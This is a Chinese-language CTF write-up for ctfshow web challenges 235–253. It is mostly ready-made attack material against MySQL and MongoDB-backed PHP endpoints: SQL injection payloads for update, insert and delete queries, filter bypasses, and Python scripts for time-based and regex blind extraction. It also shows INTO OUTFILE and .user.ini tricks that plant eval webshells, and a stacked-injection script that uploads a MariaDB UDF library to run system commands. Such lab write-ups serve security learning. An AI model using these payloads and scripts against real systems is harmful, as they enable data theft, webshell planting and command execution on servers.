password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
因为过滤了单引号，所以16进制绕过。>id,flagass23s3,info

password=\&username=,username=(select flagass23s3 from flag23a)#

web235

查询语句

  //分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

返回逻辑

  //过滤 or '

~~终于当人了是吧~~ 终于给黑名单了

好，继续用上面的

诶，为啥没成功呢。焯，又偷偷过滤

在or和’的基础上，还过滤了information_schema

https://www.jb51.net/article/134678.htm

在这里插入图片描述

用mysql.innodb_table_stats来代替information_schema。table_schema就要改成database_name。语句则是

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
>banlist,ctfshow_user,flag23a1

接下来就要用到无列名注入了，不得不说，师傅们姿势真的多。

https://www.cnblogs.com/GH-D/p/11962522.html

password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1)a)#

web236

update

查询语句

  //分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

返回逻辑

  //过滤 or ' flag

本来想用16进制绕过，但是不知道为啥没有绕过。结果就用上面的payload反而还打通了

web237

insert注入

 //插入数据
  $sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

insert就是插入。但其实注入方式和一般的没有区别,只是说自己构造出查询语句，查询的结果返回在那个表当中了

然后这里没有任何过滤，只需要把username闭合一下然后后面随便写

注意到有添加的按钮，就直接添加了，我就不去

username=helloworld',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=1

username=helloworld',(select group_concat(column_name) from information_schema.columns where table_name='flag'));#&password=1

username=helloworld',(select group_concat(flagass23s3) from flag))#&password=1

web238

insert注入，过滤空格

username=helloworld',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#&password=1

username=helloworld',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')));#&password=1

username=helloworld',(select(group_concat(flag))from(flagb)));#&password=1

web239

过滤了空格和or，因为过滤了or，所以information_schema就用不了了，我喜欢的helloworld也用不了了呜呜呜，可恶的infor

于是用之前的mysql.innodb_table_stats来替代

username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=1

1',(select(flag)from(flagbb)));#&password=1

web240

Hint: 表名共9位，flag开头，后五位由a/b组成，如flagabaab，全小写。过滤空格 or sys mysql

啥玩意，自己爆是吧。

然后根据前面都是在flag里，所以flag先确定下来。然后直接写脚本

import requests
import itertools
url = "http://a31fe426-9043-4aaf-b986-6270c466a4da.challenge.ctf.show/api/insert.php"
for i in itertools.product('ab', repeat = 5):
    tables = "flag" + ''.join(i)
    payload = {
        'username': f"hellow0rld',(select(group_concat(flag))from({tables})))#",
        'password': '1'
    }
    r = requests.post(url=url, data=payload)

web241

delete

sql语句

  //删除记录
  $sql = "delete from  ctfshow_user where id = {$id}";

在这里插入图片描述

api/delete.php中，注入点post发包id参数

然后发现这里也没回显的位置，现在就是盲注。时间盲注或者bool盲注。时间盲注之前有现成的脚本，就用时间了。然后查询语句是按id去一条条查，所以注意时间

import requests
import time
url='http://7fba0e79-73e1-452c-a783-9636744de3e1.challenge.ctf.show/api/delete.php'

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"
        #payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))<{j},sleep(0.02),1)"
        payload=f"if(ascii(substr((select group_concat(flag) from flag),{i},1))<{j},sleep(0.02),1)"

        data={
            'id':payload
        }
        try:
            r=requests.post(url=url,data=data,timeout=0.38)
            min=j
        except:
            max=j

        time.sleep(0.2)

web242

file，文件读写

sql语句

  //备份表
  $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

没接触过，直接看wp了。

SELECT ... INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        [export_options]

export_options:
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']//分隔符
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]

----------------------------------------------------
“OPTION”参数为可选参数选项，其可能的取值有：

FIELDS TERMINATED BY '字符串'：设置字符串为字段之间的分隔符，可以为单个或多个字符。默认值是“\t”。

FIELDS ENCLOSED BY '字符'：设置字符来括住字段的值，只能为单个字符。默认情况下不使用任何符号。

FIELDS OPTIONALLY ENCLOSED BY '字符'：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

FIELDS ESCAPED BY '字符'：设置转义字符，只能为单个字符。默认值为“\”。

LINES STARTING BY '字符串'：设置每行数据开头的字符，可以为单个或多个字符。默认情况下不使用任何字符。

LINES TERMINATED BY '字符串'：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。

FIELDS TERMINATED BY、 LINES STARTING BY、 LINES TERMINATED BY写马

在api/dump.php传POST
filename=ma.php' LINES STARTING BY '<?php eval($_GET[1]);?>'#

然后访问url/dump/ma.php

url/dump/ma.php?1=system('cat /flag.here');

web243

过滤了php。

我还想着短标签绕后面呢，结果发现自己不是也要传php吗。然后想试试写phtml，结果没有被解析，直接下载下来传的phtml了

看了wp，原来是利用user.ini

然后/dump/页面报没有index.php我觉得他是想明白的告诉用的是nginx。但是谁知道啊，还以为么有呢

filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#
为保证auto_prepend_file=1.jpg在单独一行，所以在开头结尾都加上了0x0a来换行

然后再传1.jpg就好了

filename=1.jpg' LINES STARTING BY '<?=eval($_GET[1]);?>'#

然后访问

/dump/index.php?1=system('cat /flag.here');

web244、245

error 报错注入

sql语句

  //备份表
  $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

在这里插入图片描述

我猜updatexml()和extractvalue()应该都可以

245过滤了updatexml，所以这里统一放extractvalue

web244
/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

/api/?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e))--+

/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),1,30),0x7e))+--+
/api/?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(flag) from ctfshow_flag),20,30),0x7e))+--+

web245同理

web246

error

过滤updatexml extractvalue

那么除此之外还有哪些呢？

1.floor()、round()、ceil()

2.exp() //5.5.5版本之后可以使用

3.name_const 

4.geometrycollection()，multipoint()，polygon()，multipolygon()，linestring()，multilinestring() 几何函数报错

floor报错，利用主键的重复实现报错，而且很明显，在web222已经讲到了，自己看web222

/api/?id=1' union select 1,count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))b from information_schema.tables group by b--+

/api/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1), 0x7e,floor(rand(0)*2))b from information_schema.tables group by b --+

/api/?id=1' union select 1,count(*),concat(0x7e,(select flag2 from ctfshow_flags),0x7e,floor(rand(0)*2))b from information_schema.tables group by b--+

web247

过滤updatexml extractvalue floor

看上面的，用别的，如改成round即可，需要注意的是字段名flag变成了flag?，表名和字段名都可以用反引号引起来，这是用来区分MYSQL的保留字与普通字符。所以最终的payload为

/api/?id=' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa ), 0x7e,round(rand(0)*2))b from information_schema.tables group by b --+

web248

eval

UDF注入。诶好像做终极考核的时候用到过？

  $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

但是我不会，这里就直接看师傅的做法和脚本

把dll文件写到目标机子的plugin目录

首先 1’; select @@plugin_dir; --+查出路径为/usr/lib/mariadb/plugin/

然后CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.so’; //导入udf函数

利用堆叠注入写进去

import requests

base_url="http://994eba84-9ea5-4701-b204-01320382100c.challenge.ctf.show/api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = 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for i in range(0,21510, 5000):
    end = i + 5000
    payload.append(udf[i:end])

p = dict(zip(text, payload))

for t in text:
    url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
    r = requests.get(url)
    print(r.status_code)

next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)

uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)

那就顺带提一下终极考核第一台提权

echo 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-d > /usr/lib/mariadb/plugin/udf.so

create function sys_eval returns string soname 'udf.so';

select sys_eval("sudo whoami");

web249

开始nosql,flag在flag中

sql语句

  //无
  $user = $memcache->get($id);

真的不懂诶

https://www.anquanke.com/post/id/97211

http://rui0.cn/archives/609

然后我就看上了里面的数组

/api/?id[]=flag

web250

sql语句

  $query = new MongoDB\Driver\Query($data);
  $cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();

返回逻辑

  //无过滤
  if(count($cursor)>0){
    $ret['msg']='登陆成功';
    array_push($ret['data'], $flag);
  }

在这里插入图片描述

还是之前那个文章里面写到的($ne是不相等的意思)

username[$ne]=1&password[$ne]=1

web251

还是用上一道payload

但是回显并不是flag，而是

{"code":0,"msg":"\u767b\u9646\u6210\u529f ","count":1,"data":[{"_id":{"$oid":"61de6a5b504d14f773a7a95b"},"username":"admin","password":"ctfshow666nnneeaaabbbcc"}]}

改成username不等于admin

username[$ne]=admin&password[$ne]=1

web252

sql语句

  //sql
  db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()

返回逻辑

  //无过滤
  if(count($cursor)>0){
    $ret['msg']='登陆成功';
    array_push($ret['data'], $flag);
  }

mongodb的find().pretty()方法的作用。

使得查询出来的数据在命令行中更加美观的显示，不至于太紧凑。

然后登录测试，发现有admin和admin1，那就用正则来让这俩都爪巴

username[$regex]=^[^admin].*$&password[$ne]=1

在这里插入图片描述

web253

sql语句

  //sql
  db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()

返回逻辑

  //无过滤
  if(count($cursor)>0){
    $ret['msg']='登陆成功';
    array_push($ret['data'], $flag);

用上一道的payload，回显是登陆成功但是没flag

于是乎采取盲注的形式，用正则匹配出flag，先用payload1和data1，再用2

import requests
import string
table = string.digits+string.ascii_lowercase+string.ascii_uppercase+'_{}-,'
url = 'http://b4a88d5f-235b-4e06-b7b9-3cf10e9c26de.challenge.ctf.show/api/index.php'
flag = ''
for i in range(100):
    for j in table:
        tmp = flag+j
        payload1 = f'f{tmp}.*$'
        data1 = {'username[$regex]':payload1
                ,'password[$ne]':1}

        payload2 = f'^{tmp}.*$'
        data2 = {'username[$regex]':'flag'
                 ,'password[$regex]':payload2}
        r = requests.post(url=url, data=data2).text
        if r"\u767b\u9646\u6210\u529f" in r:
            flag += j
            print(flag)
            break